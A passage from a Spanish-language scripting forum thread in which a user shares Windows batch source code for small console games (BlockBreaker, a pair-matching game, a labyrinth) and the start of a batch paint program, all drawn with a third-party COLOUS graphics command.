For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b=[0] "))
Set "Ball=[9]O"
Set "Bound=[5]$219"
Set "Line=[6]$219"
Set "Lost=[2]$176"
Set "Point=[12]*"

:Levels
Set /a L+=1
Call :Level%L%
Call :Graphic
Set P%L%=%Movs%
If "%LOS%"=="True" Goto :Lost
If "%WIN%"=="True" Goto :Win
If "%NXL%"=="True" Goto :End
If "%L%"=="%NLevels%" Goto :Win
ping -n 1 0.0.0.0 >nul
Goto :Init

:Graphic
Call :Clear
Cls
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Echo.
Echo.  BlockBreaker v 1 by Smart
Echo.
Echo.   Lives:%Lives%    Points:%Points%
Echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Colous Writesec "[0]   [11]$186!Lin_%%f![11]$186")
Echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Goto :%Action%

:Check
Colous 11 0 22,4 "%Points%"
If "%Lives%"=="0" (Goto :Lost)
If "%Dots%"=="0" (Goto :Win)
If "%NXL%"=="True" (Goto :End)
Goto :Eof

:Paused
CHOICE /C WADX /N >nul
If "%errorlevel%"=="1" (Set Action=Playing)
If "%errorlevel%"=="2" (call :LeftA)
If "%errorlevel%"=="3" (call :RightA)
If "%errorlevel%"=="4" (Set NXL=True)
Call :Check
Goto :%Action%

:Playing
CHOICE /C WADX /N /T:W,1 >nul
If "%errorlevel%"=="1" (Set Action=Playing)
If "%errorlevel%"=="2" (call :LeftB)
If "%errorlevel%"=="3" (call :RightB)
If "%errorlevel%"=="4" (Set NXL=True)
Call :MovBall
Call :Check
Goto :%Action%

:RightA
If ["%Table%"]==["%MaxTable%"] (Goto :Eof)
For /f "tokens=1,5 delims=," %%u in ("%Table%") do (
Call :MovAX+ "%%u" "%%v" TB "!%%u!"
Call Set NewTable=!TB!,%Table%
For /f "tokens=1-5 delims=," %%t in ("!NewTable!") do (Set NewTable=%%t,%%u,%%v,%%w,%%x)
Set Table=!NewTable!
Call :MovAX+ "%CurPos%" "%CurPos%" CurPos "!%CurPos%!"
)
Goto :Eof

:LeftA
If ["%Table%"]==["%MinTable%"] (Goto :Eof)
For /f "tokens=1,5 delims=," %%u in ("%Table%") do (
Call :MovAX- "%%v" "%%u" TB "!%%v!"
call Set NewTable=%Table%,!TB!
For /f "tokens=2-6 delims=," %%t in ("!NewTable!") do (Set NewTable=%%t,%%u,%%v,%%w,%%x)
Set Table=!NewTable!
Call :MovAX- "%CurPos%" "%CurPos%" CurPos "!%CurPos%!"
)
Goto :Eof

:RightB
If ["%Table%"]==["%MaxTable%"] (Goto :Eof)
For /f "tokens=1,5 delims=," %%u in ("%Table%") do (
call :MovAX+ "%%u" "%%v" TB "!%%u!"
call Set NewTable=!TB!,%Table%
For /f "tokens=1-5 delims=," %%t in ("!NewTable!") do (Set NewTable=%%t,%%u,%%v,%%w,%%x)
Set Table=!NewTable!)
Goto :Eof

:LeftB
If ["%Table%"]==["%MinTable%"] (Goto :Eof)
For /f "tokens=1,5 delims=," %%u in ("%Table%") do (
call :MovAX- "%%v" "%%u" TB "!%%v!"
call Set NewTable=%Table%,!TB!
For /f "tokens=2-6 delims=," %%t in ("!NewTable!") do (Set NewTable=%%t,%%u,%%v,%%w,%%x)
Set Table=!NewTable!)
Goto :Eof

:MovAX+
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p+1
call Set NMovX=%%X!MovX!Y%%q%%
If "!NMovX!"=="%Bound%" (Goto :Eof)
If "!NMovX!"=="[0] " (
Call :Color %2 "[0] "
Set "%~2=[0] "
Set X!MovX!Y%%q=%~4
Set %3=X!MovX!Y%%q
Call :Color !%3! "%%!%3!%%"
))
Goto :Eof

:MovAX-
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p-1
call Set NMovX=%%X!MovX!Y%%q%%
If "!NMovX!"=="%Bound%" (Goto :Eof)
If "!NMovX!"=="[0] " (
Call :Color %2 "[0] "
Set "%~2=[0] "
Set X!MovX!Y%%q=%~4
Set %3=X!MovX!Y%%q
Call :Color !%3! "%%!%3!%%"
))
Goto :Eof

:MovBall
Set EOM=False
Call :%NextMov% "%CurPos%"
If "%EOM%"=="True" Goto :Eof
Goto :MovBall

:Color
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (Set /a "ColX=%%p+5"&Set /a "ColY=%%q+6")
Set "Symbol=%~2"
rem Echo.%Symbol%
Colous %Symbol:~1,1% 0 %ColX%,%ColY% "%Symbol:~3%"
Colous Cursoroff
Goto :Eof

:Diag1
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p+1
Set /a MovY=%%q+1
call Set NMovX=%%X!MovX!Y%%q%%
call Set NMovY=%%X%%pY!MovY!%%
call Set NMovXY=%%X!MovX!Y!MovY!%%

If "!NMovXY!"=="%Bound%" (
If "%%q"=="%BBound%" (Set NextMov=Diag3)
If "%%p"=="%RBound%" (Set NextMov=Diag4)
Goto :Eof)

If "!NMovXY!"=="%Line%" (
If "%%q"=="%BBound%" (Set NextMov=Diag3)
If "%%p"=="%RBound%" (Set NextMov=Diag4)
Goto :Eof)

If "!NMovY!"=="%Point%" (
Set "X%%pY!MovY!=[0] "
Call :Color "X%%pY!MovY!" "[0] "
Set NextMov=Diag3
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovX!"=="%Point%" (
Set "X!MovX!Y%%q=[0] "
Call :Color "X!MovX!Y%%q" "[0] "
Set NextMov=Diag4
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovXY!"=="%Point%" (
Set "X!MovX!Y!MovY!=[0] "
Call :Color "X!MovX!Y!MovY!" "[0] "
Set NextMov=Diag2
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)

If "!NMovXY!"=="[0] " (
Call :Color "%~1" "[0] "
Set "%~1=[0] "
Set X!MovX!Y!MovY!=%Ball%
Set CurPos=X!MovX!Y!MovY!
Call :Color "!CurPos!" "%Ball%"
Set EOM=True)
)

If "!NMovXY!"=="%Lost%" (
Set "%~1=[0] "
Set /a Lives-=1
Goto :ReSet
)
)
Goto :Eof

:Diag2
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p-1
Set /a MovY=%%q-1
call Set NMovX=%%X!MovX!Y%%q%%
call Set NMovY=%%X%%pY!MovY!%%
call Set NMovXY=%%X!MovX!Y!MovY!%%

If "!NMovXY!"=="%Bound%" (
If "%%q"=="%TBound%" (Set NextMov=Diag4)
If "%%p"=="%LBound%" (Set NextMov=Diag3)
Goto :Eof)

If "!NMovXY!"=="%Line%" (
If "%%q"=="%TBound%" (Set NextMov=Diag4)
If "%%p"=="%LBound%" (Set NextMov=Diag3)
Goto :Eof)

If "!NMovY!"=="%Point%" (
Set "X%%pY!MovY!=[0] "
Call :Color "X%%pY!MovY!" "[0] "
Set NextMov=Diag4
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovX!"=="%Point%" (
Set "X!MovX!Y%%q=[0] "
Call :Color "X!MovX!Y%%q" "[0] "
Set NextMov=Diag3
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovXY!"=="%Point%" (
Set "X!MovX!Y!MovY!=[0] "
Call :Color "X!MovX!Y!MovY!" "[0] "
Set NextMov=Diag1
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)

If "!NMovXY!"=="[0] " (
Call :Color "%~1" "[0] "
Set "%~1=[0] "
Set X!MovX!Y!MovY!=%Ball%
Set CurPos=X!MovX!Y!MovY!
Call :Color "!CurPos!" "%Ball%"
Set EOM=True)
)

If "!NMovXY!"=="%Lost%" (
Set "%~1=[0] "
Set /a Lives-=1
Goto :ReSet
)
)
Goto :Eof

:Diag3
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p+1
Set /a MovY=%%q-1
call Set NMovX=%%X!MovX!Y%%q%%
call Set NMovY=%%X%%pY!MovY!%%
call Set NMovXY=%%X!MovX!Y!MovY!%%

If "!NMovXY!"=="%Bound%" (
If "%%q"=="%TBound%" (Set NextMov=Diag1)
If "%%p"=="%RBound%" (Set NextMov=Diag2)
Goto :Eof)

If "!NMovXY!"=="%Line%" (
If "%%q"=="%TBound%" (Set NextMov=Diag1)
If "%%p"=="%RBound%" (Set NextMov=Diag2)
Goto :Eof)

If "!NMovY!"=="%Point%" (
Set "X%%pY!MovY!=[0] "
Call :Color "X%%pY!MovY!" "[0] "
Set NextMov=Diag1
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovX!"=="%Point%" (
Set "X!MovX!Y%%q=[0] "
Call :Color "X!MovX!Y%%q" "[0] "
Set NextMov=Diag2
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovXY!"=="%Point%" (
Set "X!MovX!Y!MovY!=[0] "
Call :Color "X!MovX!Y!MovY!" "[0] "
Set NextMov=Diag4
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)

If "!NMovXY!"=="[0] " (
Call :Color "%~1" "[0] "
Set "%~1=[0] "
Set X!MovX!Y!MovY!=%Ball%
Set CurPos=X!MovX!Y!MovY!
Call :Color "!CurPos!" "%Ball%"
Set EOM=True)
)

If "!NMovXY!"=="%Lost%" (
Set "%~1=[0] "
Set /a Lives-=1
Goto :ReSet
)
)
Goto :Eof

:Diag4
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p-1
Set /a MovY=%%q+1
call Set NMovX=%%X!MovX!Y%%q%%
call Set NMovY=%%X%%pY!MovY!%%
call Set NMovXY=%%X!MovX!Y!MovY!%%

If "!NMovXY!"=="%Bound%" (
If "%%q"=="%BBound%" (Set NextMov=Diag2)
If "%%p"=="%LBound%" (Set NextMov=Diag1)
Goto :Eof)

If "!NMovXY!"=="%Line%" (
If "%%q"=="%BBound%" (Set NextMov=Diag2)
If "%%p"=="%LBound%" (Set NextMov=Diag1)
Goto :Eof)

If "!NMovY!"=="%Point%" (
Set "X%%pY!MovY!=[0] "
Call :Color "X%%pY!MovY!" "[0] "
Set NextMov=Diag2
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovX!"=="%Point%" (
Set "X!MovX!Y%%q=[0] "
Call :Color "X!MovX!Y%%q" "[0] "
Set NextMov=Diag1
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)
If "!NMovXY!"=="%Point%" (
Set "X!MovX!Y!MovY!=[0] "
Call :Color "X!MovX!Y!MovY!" "[0] "
Set NextMov=Diag3
Set /a Points+=5
Set /a Dots-=1
Goto :Eof
)

If "!NMovXY!"=="[0] " (
Call :Color "%~1" "[0] "
Set "%~1=[0] "
Set X!MovX!Y!MovY!=%Ball%
Set CurPos=X!MovX!Y!MovY!
Call :Color "!CurPos!" "%Ball%"
Set EOM=True)
)

If "!NMovXY!"=="%Lost%" (
Set "%~1=[0] "
Set /a Lives-=1
Goto :ReSet
)
)
Goto :Eof

:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
Goto :Eof

:Reset
Set CurPos=X8Y13
Set Table=X10Y14,X9Y14,X8Y14,X7Y14,X6Y14
For /l %%h in (1,1,17) do (Set "X%%hY14=[0] ")
For %%k in (%Init%) do (Set %%k=%Line%)
For /f "tokens=1 delims=," %%j in ("%Init%") do (Set %%j=%Ball%)
Set Action=Paused
Call :Check
Goto :Graphic

:Lost
msg * Perdiste !
Goto :End

:Win
msg * Has Ganado !
Goto :End

:End
msg * Gracias por Jugar BlockBreaker v1 by SmartGenius
Endlocal
Exit

:Level1
Set /a "Movs=0","Points=0","Dots=36","Lives=3"
Set CurPos=X8Y13
Set Table=X10Y14,X9Y14,X8Y14,X7Y14,X6Y14
Set MaxTable=X17Y14,X16Y14,X15Y14,X14Y14,X13Y14
Set MinTable=X5Y14,X4Y14,X3Y14,X2Y14,X1Y14
Set Init=X8Y13,X6Y14,X7Y14,X8Y14,X9Y14,X10Y14
Set Dir=N
Set Action=Paused
Set NextMov=Diag3
For /l %%e in (%LBound%,1,%RBound%) do (Set "X%%eY1=[0] ")
For /l %%f in (6,1,10) do (Set "X%%fY2=%Bound%")
For %%k in (%Init%) do (Set "%%k=%Line%")
For /f "tokens=1 delims=," %%j in ("%Init%") do (Set "%%j=%Ball%")
For /l %%i in (0,1,%LimX%) do (
Set "X0Y%%i=%Bound%"
Set "X%LimX%Y%%i=%Bound%"
Set "X%%iY0=%Bound%"
Set "X%%iY%LimY%=%Bound%")
For /l %%l in (2,1,16) do (Set "X%%lY2=%Point%")
For /l %%m in (4,1,14) do (Set "X%%mY3=%Point%")
For /l %%n in (6,1,12) do (Set "X%%nY4=%Point%")
For /l %%o in (8,1,10) do (Set "X%%oY5=%Point%")
For /l %%r in (1,1,17) do (Set "X%%rY15=%Lost%")
Goto :Eof

:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°ÛÛÛ°°Û°°°ÛÛÛ°°ÛÛ°Û°°Û°°
Echo. °°°Û°°Û°Û°°°Û°Û°Û°°°Û°Û°°°
Echo. °°°ÛÛÛ°°Û°°°Û°Û°Û°°°ÛÛ°°°°
Echo. °°°Û°°Û°Û°°°Û°Û°Û°°°Û°Û°°°
Echo. °°°ÛÛÛ°°ÛÛÛ°ÛÛÛ°°ÛÛ°Û°°Û°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°B°R°E°A°K°E°R°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°±°±°±°±°±°±°±°±°±°±°±°°
Echo. °°±°±°±°±°±°±°±°±°±°±°±°°°
Echo. °°°±°±°±°±°±°±°±°±°±°±°±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°²°°°°°°°°°°°°°°°°°°°
Echo. °°°°ÛÛÛÛÛ°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°°  Corp.  2010  °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof

:NoKey
Mode con cols=30 lines=20
Cls
Echo.
Echo  Uno de los archivos necesarios para el
Echo  funcionamiento de este Script no se
Echo  encuentra.
Echo.
Echo  CHOICE.COM
Echo.
Echo  Por favor descargue una copia del Comando
Echo  CHOICE de Internet...
Echo.
Pause
Exit


Espero que les guste, y cualquier comentario o sugerencia es bien recibido !

Saludis. :D
#4
Batch Game - The Pair Game - by SmartGenius


Descargar -->> http://smart.code-makers.net/BatchGames/ThePairGameBySmartgenius.zip

Este es un pequeño Juego Batch que he diseñado, usando el comando COLOUS de Bolivianito, y cuyo objetivo es hacer parejas de objetos, es un juego clasico ya conocido, interactuan con el mouse dando click en a ficha a descubrir, te da 10 puntos por acierto en una pareja y quita 5 puntos al desacertar.

@Echo Off
@Title The Pair Game
@Mode Con Cols=30 Lines=12

Setlocal Enabledelayedexpansion
Color 0a
Colous Cursoroff

::Batch Game - The Pair Game
::Coded by SmartGenius
::Using COLOUS command from Bolivianito
::SmartGenius, Corp. 2010

:Load
Call :GenSymbols
Call :InitVars

:Init
Cls
Echo.
Echo. ÚÄÂÄÂÄÂÄÂÄÂÄ¿
Echo. ³°³°³°³°³°³°³ Puntaje:%Points%
Echo. ÃÄÅÄÅÄÅÄÅÄÅÄ´
Echo. ³°³°³°³°³°³°³
Echo. ÃÄÅÄÅÄÅÄÅÄÅÄ´
Echo. ³°³°³°³°³°³°³
Echo. ÃÄÅÄÅÄÅÄÅÄÅÄ´
Echo. ³°³°³°³°³°³°³
Echo. ÀÄÁÄÁÄÁÄÁÄÁÄÙ
Echo.

:Coord
Set /a "R+=1"
For /f "tokens=*" %%a in ('Colous Mouse') do (Call :Check %%a)
Colous 14 8 24,3 "!Points!  "
If "%Pairs%"=="12" (
Colous 14 8 16,6 "You Win, press"
Colous 14 8 16,7 "  any key to"
Colous 14 8 16,8 " restart game"
Pause >nul
Goto :Load
)
Goto :Coord

:Check
For /l %%X in (3,2,13) do (
For /l %%Y in (3,2,9) do (
If Defined O_%~2_%~3 (Goto :Eof)
If "%~2 %~3"=="%%X %%Y" (
Colous 12 8 %2,%3 !V_%~2_%~3!
If Not Defined Sel_1 (
Set "Sel_1=!V_%~2_%~3!"
Set "Pos_1=%~2,%~3"
Goto :Eof
)
If Not Defined Sel_2 (
Set "Sel_2=!V_%~2_%~3!"
Set "Pos_2=%~2,%~3"
)
If Not "!Sel_1!"=="!Sel_2!" (
Set /a "Points-=5"
Ping -n 2 localhost >nul
Colous 10 8 !Pos_1! $176
Colous 10 8 !Pos_2! $176
Set "Sel_1="
Set "Sel_2="
Goto :Eof
) else (
Set /a "Points+=10"
Set /a "Pairs+=1"
Ping -n 2 localhost >nul
Colous 0 8 !Pos_1! $219
Colous 0 8 !Pos_2! $219
Set "Sel_1="
Set "Sel_2="
Call :Def !Pos_1! !Pos_2!
Goto :Eof
))))
Goto :Eof

:Def
If "%~1"=="" Goto :Eof
Set "O_%~1_%~2=Nul"
Shift&Shift
Goto :Def

:GenSymbols
Set "Symbols=$001,$002,$003,$004,$005,$006,$011,$012,$014,$015,$020,$021"
For %%S in (%Symbols%) do (
Set /a "S+=1"
Set "Symbol_!S!=%%S"
)
Goto :Eof

:InitVars
For /l %%X in (3,2,13) do (
For /l %%Y in (3,2,9) do (
Call :Generate "%%X" "%%Y"
Set "O_%%X_%%Y="
))
Set /a "Points=0","Pairs=0"
Goto :Eof

:Generate
Set /a "RX=(!Random! %% 12)+1"
If Defined Sym_%RX% (Goto :Generate)
If Not Defined S1_%RX% (
Set "V_%~1_%~2=!Symbol_%RX%!"
Set "S1_%RX%=Nul"
Goto :Eof
)
If Not Defined S2_%RX% (
Set "V_%~1_%~2=!Symbol_%RX%!"
Set "S2_%RX%=Nul"
Goto :Eof
)
Set "Sym_%RX%=Nul"
Goto :Generate


Espero sea de su agrado, y cualquier duda o comentario favor hacerlos !

Saludos. :D
#5
Tal como le habia dicho a Bolivianito que haria, este juego es una demostracion de uso del comando COLOUS creado por el, para la implementacion de un Juego Batch simple, usando el sistema de coordenadas mio :P


Código (dos) [Seleccionar]
@Echo off
@title The Labyrinth - SmartGenius
Mode con cols=45 lines=16
Setlocal enabledelayedexpansion

:: Batch Game - The Labyrinth
:: Coded by SmartGenius
:: Using Graphic Command (colous) by Bolivianito

:Game_Vars
Set /a "LimX=44","LimY=15","IniX=1","IniY=1","MovX=0","MovY=0","Points=0"
Set "Bound=[8]$219"
Set "Space=[0] "
Set "Player=$001"
Set "Point=[5]$207"
Set "Exit=[10]$176"

:Game_Init
For /l %%a in (%IniX%,1,%LimX%) do (
For /l %%b in (%IniY%,1,%LimY%) do (
Set X%%aY%%b=%Space%))
Call :Game_Level
Call :Display
Set "X14Y4=%Player%"
Set Curpos=X14Y4
Call :Color "%Player%" "12 0"
Goto :Game_Move

:Display
For /l %%d in (%IniX%,1,%LimY%) do (
Set Lin_%%d=
For /l %%e in (%IniX%,1,%LimX%) do Set Lin_%%d=!Lin_%%d!!X%%eY%%d!)
For /l %%f in (%IniY%,1,%LimY%) do (Colous Writesec "!Lin_%%f!")
Goto :Eof

:Game_Move
Colous Readkey
If "%ErrorLevel%"=="100" (call :Mov "X" "+")
If "%ErrorLevel%"=="97" (call :Mov "X" "-")
If "%ErrorLevel%"=="115" (call :Mov "Y" "+")
If "%ErrorLevel%"=="119" (call :Mov "Y" "-")
If "%ErrorLevel%"=="88" (Goto :Win)
If "%ErrorLevel%"=="120" (Goto :Win)
Goto :Game_Move

:Mov
For /f "tokens=1,2 delims=X,Y" %%p in ("%CurPos%") do (Set "MovX=%%p"&Set "MovY=%%q")
if "!Mov%~1!"=="!Lim%~1!" Goto :Eof
Set /a Mov%~1%~2=1
Set "NMovY=!X%MovX%Y%MovY%!"
If Defined S_X%MovX%Y%MovY% (Set "S_X%MovX%Y%MovY%="&Set /a Points+=10)
If "!NMovY!"=="%Bound%" (Goto :Eof)
If "!NMovY!"=="%Exit%" (Goto :Win)
If "!NMovY!"=="%Point%" (Set /a Points+=5)
Set "X%MovX%Y%MovY%=%Player%"
Set "%CurPos%=%Space%"
Call :Color "A" "0 0"
Set "CurPos=X%MovX%Y%MovY%"
Call :Color "%Player%" "12 0"
Goto :Eof

:Color
For /f "tokens=1,2 delims=X,Y" %%p in ("%CurPos%") do (Set "ColX=%%p"&Set "ColY=%%q")
Colous %~2 %ColX%,%ColY% %~1
Colous Cursoroff
Goto :Eof

:Win
Cls
Echo.
Echo.
If %Points% GEQ 200 (Echo. Excelent %Nick%, You Get 3 Extra Lives&Set /a Lives+=3)
If %Points% GEQ 150 (If %Points% LEQ 195 (Echo. Well Done %Nick%, You Get 2 Extra Lives&Set /a Lives+=2))
If %Points% GEQ 100 (If %Points% LEQ 145 (Echo. You Did it %Nick%, You Get 1 Extra Live&Set /a Lives+=1))
If %Points% LSS 100 (Echo. Level Completed %Nick%, No Lives Won)
Echo. You Get %Points% Points
Echo.
Echo. Press any key...
Pause>nul
Goto :Eof

:Game_Level
For %%a in (X7Y10,X8Y6,X9Y2,X9Y6,X9Y14,X10Y14,X13Y8,X18Y6,X18Y10,X18Y12,X20Y12,X23Y9,X27Y7,X29Y2,X38Y10,X41Y6,X43Y14) do (
Set "%%a=%Point%")
For %%a in (
X1Y1,X1Y2,X1Y3,X1Y4,X1Y5,X1Y6,X1Y7,X1Y8,X1Y9,X1Y10,X1Y11,X1Y12,X1Y13,X2Y1,X2Y3,X2Y8,
X2Y10,X2Y13,X3Y1,X3Y3,X3Y5,X3Y8,X3Y13,X4Y1,X4Y3,X4Y5,X4Y7,X4Y8,X4Y10,X4Y11,X4Y13,
X5Y1,X5Y3,X5Y5,X5Y11,X5Y13,X5Y14,X5Y15,X6Y1,X6Y5,X6Y9,X6Y11,X6Y15,X7Y1,X7Y3,X7Y5,
X7Y6,X7Y7,X7Y11,X7Y15,X8Y1,X8Y3,X8Y7,X8Y9,X8Y10,X8Y11,X8Y12,X8Y13,X8Y15,X9Y1,X9Y3,
X9Y7,X9Y13,X9Y15,X10Y1,X10Y2,X10Y3,X10Y4,X10Y5,X10Y6,X10Y7,X10Y8,X10Y9,X10Y10,X10Y11,
X10Y13,X10Y15,X11Y1,X11Y2,X11Y9,X11Y13,X11Y14,X11Y15,X12Y2,X12Y4,X12Y5,X12Y7,X12Y9,
X12Y13,X13Y2,X13Y4,X13Y5,X13Y7,X13Y9,X13Y11,X13Y13,X14Y2,X14Y5,X14Y7,X14Y8,X14Y9,
X14Y11,X14Y13,X14Y14,X14Y15,X15Y2,X15Y3,X15Y4,X15Y5,X15Y9,X15Y11,X15Y15,X16Y3,X16Y11,
X16Y13,X16Y15,X17Y3,X17Y5,X17Y6,X17Y7,X17Y8,X17Y11,X17Y12,X17Y13,X17Y15,X18Y3,X18Y5,
X18Y7,X18Y11,X18Y15,X19Y1,X19Y2,X19Y3,X19Y5,X19Y7,X19Y8,X19Y9,X19Y10,X19Y11,X19Y12,
X19Y13,X19Y14,X19Y15,X20Y1,X20Y5,X20Y8,X20Y13,X20Y15,X21Y1,X21Y5,X21Y8,X21Y11,X21Y12,
X21Y13,X21Y15,X22Y1,X22Y3,X22Y4,X22Y5,X22Y6,X22Y8,X22Y9,X22Y13,X22Y15,X23Y1,X23Y8,
X23Y11,X23Y13,X23Y15,X24Y1,X24Y2,X24Y3,X24Y5,X24Y6,X24Y7,X24Y8,X24Y11,X24Y13,X24Y15,
X25Y1,X25Y2,X25Y5,X25Y11,X25Y13,X25Y15,X26Y1,X26Y4,X26Y5,X26Y6,X26Y7,X26Y8,X26Y9,
X26Y10,X26Y11,X26Y13,X26Y15,X27Y1,X27Y6,X27Y9,X27Y13,X27Y15,X28Y1,X28Y2,X28Y3,X28Y4,
X28Y6,X28Y7,X28Y9,X28Y11,X28Y12,X28Y13,X28Y15,X29Y1,X29Y4,X29Y6,X29Y9,X29Y13,X29Y15,
X30Y1,X30Y2,X30Y4,X30Y6,X30Y8,X30Y9,X30Y11,X30Y13,X30Y15,X31Y2,X31Y4,X31Y6,X31Y9,
X31Y11,X31Y15,X32Y2,X32Y4,X32Y6,X32Y7,X32Y9,X32Y11,X32Y12,X32Y13,X32Y14,X32Y15,X33Y2,
X33Y4,X33Y9,X33Y13,X34Y2,X34Y4,X34Y6,X34Y7,X34Y8,X34Y9,X34Y11,X34Y13,X35Y2,X35Y4,
X35Y11,X35Y13,X35Y14,X35Y15,X36Y1,X36Y2,X36Y4,X36Y6,X36Y7,X36Y8,X36Y9,X36Y11,X36Y15,
X37Y1,X37Y4,X37Y9,X37Y10,X37Y11,X37Y13,X37Y15,X38Y1,X38Y3,X38Y4,X38Y6,X38Y7,X38Y9,
X38Y11,X38Y13,X38Y15,X39Y1,X39Y3,X39Y7,X39Y9,X39Y11,X39Y12,X39Y13,X39Y15,X40Y1,X40Y3,
X40Y5,X40Y7,X40Y9,X40Y13,X40Y15,X41Y1,X41Y3,X41Y4,X41Y5,X41Y7,X41Y9,X41Y11,X41Y15,
X42Y1,X42Y5,X42Y6,X42Y7,X42Y9,X42Y10,X42Y11,X42Y12,X42Y14,X42Y15,X43Y1,X43Y2,X43Y3,
X43Y9,X43Y12,X43Y15,X44Y3,X44Y4,X44Y5,X44Y6,X44Y7,X44Y8,X44Y9,X44Y12,X44Y13,X44Y14,X44Y15
) do (Set "%%a=%Bound%")
For %%a in (X2Y2,X2Y7,X2Y9,X16Y12,X18Y8,X20Y2,X20Y9,X25Y6,X26Y2,X36Y10,X40Y4,X41Y10) do (Set S_%%a=%Point%)
For %%a in (X20Y14) do (Set "%%a=%Exit%")
Goto :Eof



Lo pueden jugar usando las clasicas teclas de WASD, el objetivo es llegar a la salida y lograr la mayor cantidad de puntos.El Juego es un Easter Egg del WarGame Batch para poder obtener mas vidas, solo hice la adaptacion para poder usar el comando COLOUS de bolivianito.

Cualquier duda o comentario favor de hacerlos !

Saludos. :D
#6
Scripting / Batch Paint v 1.3 - by SCOT Team
8 Octubre 2009, 18:15 PM
Quien dijo que no se podia pintar en Batch ???....    =D



@Echo Off
@title Batch Paint
@Mode Con cols=80 lines=25
Setlocal Enabledelayedexpansion

::A Program by S.C.O.T 2009
::Script Coders Oriented Team
::SmartGenius & 3D1

:Init
Cls
If Not Exist Col.vbs (Call :Col_Deb >>Col.vbs)
Set "X=0"
Set "Y=0"
Set "Color=11"
Set "Pincel=Û"
Call :Load

:Table
If "!X!-!Y!"=="43-2" (Exit)
For /l %%s in (33,1,39) do (If "!X!-!Y!"=="%%s-2" (Goto :Save))
If "!X!-!Y!"=="22-2" (Set "Pincel=°")
If "!X!-!Y!"=="24-2" (Set "Pincel=±")
If "!X!-!Y!"=="26-2" (Set "Pincel=²")
If "!X!-!Y!"=="28-2" (Set "Pincel=Û")
If "!X!-!Y!"=="3-4" (Set "Color=01")
If "!X!-!Y!"=="5-4" (Set "Color=02")
If "!X!-!Y!"=="7-4" (Set "Color=03")
If "!X!-!Y!"=="3-6" (Set "Color=04")
If "!X!-!Y!"=="5-6" (Set "Color=05")
If "!X!-!Y!"=="7-6" (Set "Color=06")
If "!X!-!Y!"=="3-8" (Set "Color=07")
If "!X!-!Y!"=="5-8" (Set "Color=08")
If "!X!-!Y!"=="7-8" (Set "Color=09")
If "!X!-!Y!"=="3-10" (Set "Color=0A")
If "!X!-!Y!"=="5-10" (Set "Color=0B")
If "!X!-!Y!"=="7-10" (Set "Color=0C")
If "!X!-!Y!"=="3-12" (Set "Color=0D")
If "!X!-!Y!"=="5-12" (Set "Color=0E")
If "!X!-!Y!"=="7-12" (Set "Color=0F")
If !X! GEQ 12 (
If !Y! GEQ 5 (
If !X! LEQ 41 (
If !Y! LEQ 15 (
cscript //nologo col.vbs "!X!" "!Y!" "%Color%" "%Pincel%"
Set /a "vX=!X!-12"
Set /a "vY=!Y!-5"
Set "X!vX!Y!vY!=!vX! !vY! %Color% %Pincel%"
))))
Call :Mouse
Goto :Table

:Load
Echo.
Echo. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³Colores³ Pinceles   ° ± ² Û   ³Guardar³ ³X³
Echo. ³ÚÄÄÄ¿ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÁÄ´
Echo. ³³Û³Û³Û³³ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³
Echo. ³ÃÄÅÄÅÄ´³ º                              º ³
Echo. ³³Û³Û³Û³³ º                              º ³
Echo. ³ÃÄÅÄÅÄ´³ º                              º ³
Echo. ³³Û³Û³Û³³ º                              º ³
Echo. ³ÃÄÅÄÅÄ´³ º                              º ³
Echo. ³³Û³Û³Û³³ º                              º ³
Echo. ³ÃÄÅÄÅÄ´³ º                              º ³
Echo. ³³Û³Û³Û³³ º                              º ³
Echo. ³ÀÄÁÄÁÄÙ³ º                              º ³
